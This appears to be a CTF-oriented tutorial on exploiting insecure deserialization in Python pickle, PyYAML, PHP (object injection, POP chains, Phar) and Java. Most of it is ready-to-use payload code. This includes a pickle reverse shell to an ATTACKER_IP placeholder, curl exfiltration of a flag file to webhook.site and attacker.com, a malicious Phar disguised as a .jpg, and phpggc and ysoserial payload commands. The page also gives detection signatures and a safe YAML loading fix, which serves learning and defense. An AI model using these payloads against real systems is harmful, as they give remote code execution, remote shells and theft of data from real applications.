Insecure Deserialization
Exploit Python pickle, PHP unserialize, and Java deserialization vulnerabilities in CTF web challenges.
Insecure Deserialization
Insecure deserialization is a code execution vulnerability where applications deserialize untrusted data objects without validation, allowing attackers to instantiate malicious objects or chain existing methods (gadget chains) to achieve arbitrary code execution. How it works: Deserialization reconstructs objects from serialized data, automatically calling constructors and methods; languages like Python (pickle), PHP (unserialize), and Java (ObjectInputStream) can execute code during object reconstruction; gadget chains chain existing library methods to perform unintended operations. Why it matters: Affects nearly all languages (Java, Python, PHP, Node.js, Ruby); single deserialization call leads to RCE without additional logic; tools like ysoserial generate gadget chain payloads; exploitable through cookies, API responses, and message queues.
Identifying Deserialization
Python Pickle
- Cookie or parameter starts with
gASV(base64) or\x80\x04(raw) - Error messages mentioning
pickle - Flask sessions (look for
.separated base64 segments)
PHP
- Cookie/parameter contains
O:,a:,s:,i:patterns - Error messages with
unserialize()in stack traces
Java
- HTTP body/cookie starts with
rO0(base64 of\xac\xed\x00\x05) Content-Type: application/x-java-serialized-object
Python: Pickle RCE
Python's pickle module executes arbitrary code when __reduce__ is defined on a class. The payload is trivial:
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ('cat /flag.txt',))
# Serialize
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)Reverse shell variant:
class RCE:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
return (os.system, (cmd,))Reading the flag without shell (curl OOB):
class RCE:
def __reduce__(self):
cmd = "curl https://webhook.site/YOUR-ID?d=$(cat /flag.txt | base64)"
return (os.system, (cmd,))Detecting pickle in a cookie:
import base64
cookie = "gASV..."
data = base64.b64decode(cookie + "==")
print(data[:4].hex()) # b'\x80\x04\x95' = pickle protocol 4Python: YAML RCE
PyYAML's yaml.load() without Loader argument is vulnerable (CVE-2017-18342):
# Malicious YAML payload
!!python/object/apply:os.system ["cat /flag.txt"]import yaml
# Vulnerable
yaml.load("!!python/object/apply:os.system ['id']")
# Safe
yaml.safe_load(data) # or yaml.load(data, Loader=yaml.SafeLoader)PHP: Object Injection
PHP's unserialize() invokes magic methods (__wakeup, __destruct, __toString) on the constructed object. If these methods have dangerous code, you get RCE.
Serialized PHP format:
O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}
^class ^props ^prop_name ^prop_value (bool true)Crafting a payload:
<?php
// Target class must exist in the application
class Config {
public $command = "cat /flag.txt";
// Vulnerable: called when object is destroyed
public function __destruct() {
system($this->command);
}
}
$obj = new Config();
echo urlencode(serialize($obj));
// O:6:"Config":1:{s:7:"command";s:12:"cat /flag.txt";}
?>Common magic methods exploited:
__wakeup()- called onunserialize()__destruct()- called when object leaves scope__toString()- called when object treated as string__call()- called on undefined method
PHP: POP Chains with phpggc
When the vulnerable class doesn't directly execute commands, chain Property-Oriented Programming (POP) gadgets using phpggc:
# Install
git clone https://github.com/ambionics/phpggc.git
# List available gadget chains
php phpggc -l
# Generate payload for Laravel RCE
php phpggc Laravel/RCE1 system 'cat /flag.txt' -b # base64 output
# For Symfony
php phpggc Symfony/RCE4 system 'id' -b
# For Monolog
php phpggc Monolog/RCE1 system 'id' -bPHP: Phar Deserialization
Even file_get_contents() or file_exists() can trigger deserialization if the path uses phar://:
// Vulnerable: user controls $filename
file_get_contents("phar://$filename");
file_exists("phar://$filename");Create a malicious Phar file:
<?php
class Config {
public $command = "cat /flag.txt";
public function __destruct() { system($this->command); }
}
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new Config();
$phar->setMetadata($obj); // object serialized in metadata
$phar->addFromString('dummy.txt', 'dummy');
$phar->stopBuffering();
// Rename to image to bypass extension check
rename('evil.phar', 'evil.jpg');
?>Java: Deserialization
Java serialized objects start with magic bytes \xac\xed\x00\x05 (hex) = rO0 (base64).
Automated exploitation with ysoserial:
# Download
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# List available gadget chains
java -jar ysoserial-all.jar
# Generate payload for Commons Collections 3.1
java -jar ysoserial-all.jar CommonsCollections1 "cat /flag.txt > /tmp/flag" | base64
# For Spring
java -jar ysoserial-all.jar Spring1 "curl http://attacker.com/$(cat /flag)" | base64Detecting Java deserialization:
import base64
data = base64.b64decode(cookie)
if data[:2] == b'\xac\xed':
print("Java serialized object detected!")Detection & Identification Summary
| Signal | Language | Tool |
|---|---|---|
gASV / \x80\x04 in base64 | Python pickle | Manual or custom |
O:N:"ClassName" | PHP | phpggc |
rO0 / \xac\xed\x00\x05 | Java | ysoserial |
!!python/ in YAML | Python YAML | Custom payload |
. separated JWT-like cookie in Flask | Python pickle (Flask session) | flask-unsign |
Checklist
- Inspect cookies/parameters for serialization signatures
- Python pickle? → reduce with os.system or subprocess
- PHP unserialize? → Check for magic methods in source, try phpggc
- Java? → Look for gadget chains, use ysoserial
- YAML? → try !!python/object/apply payloads
- Can you read source code? → find exploitable magic methods
- Can't exec directly? → OOB exfil via curl/wget/DNS
Last updated on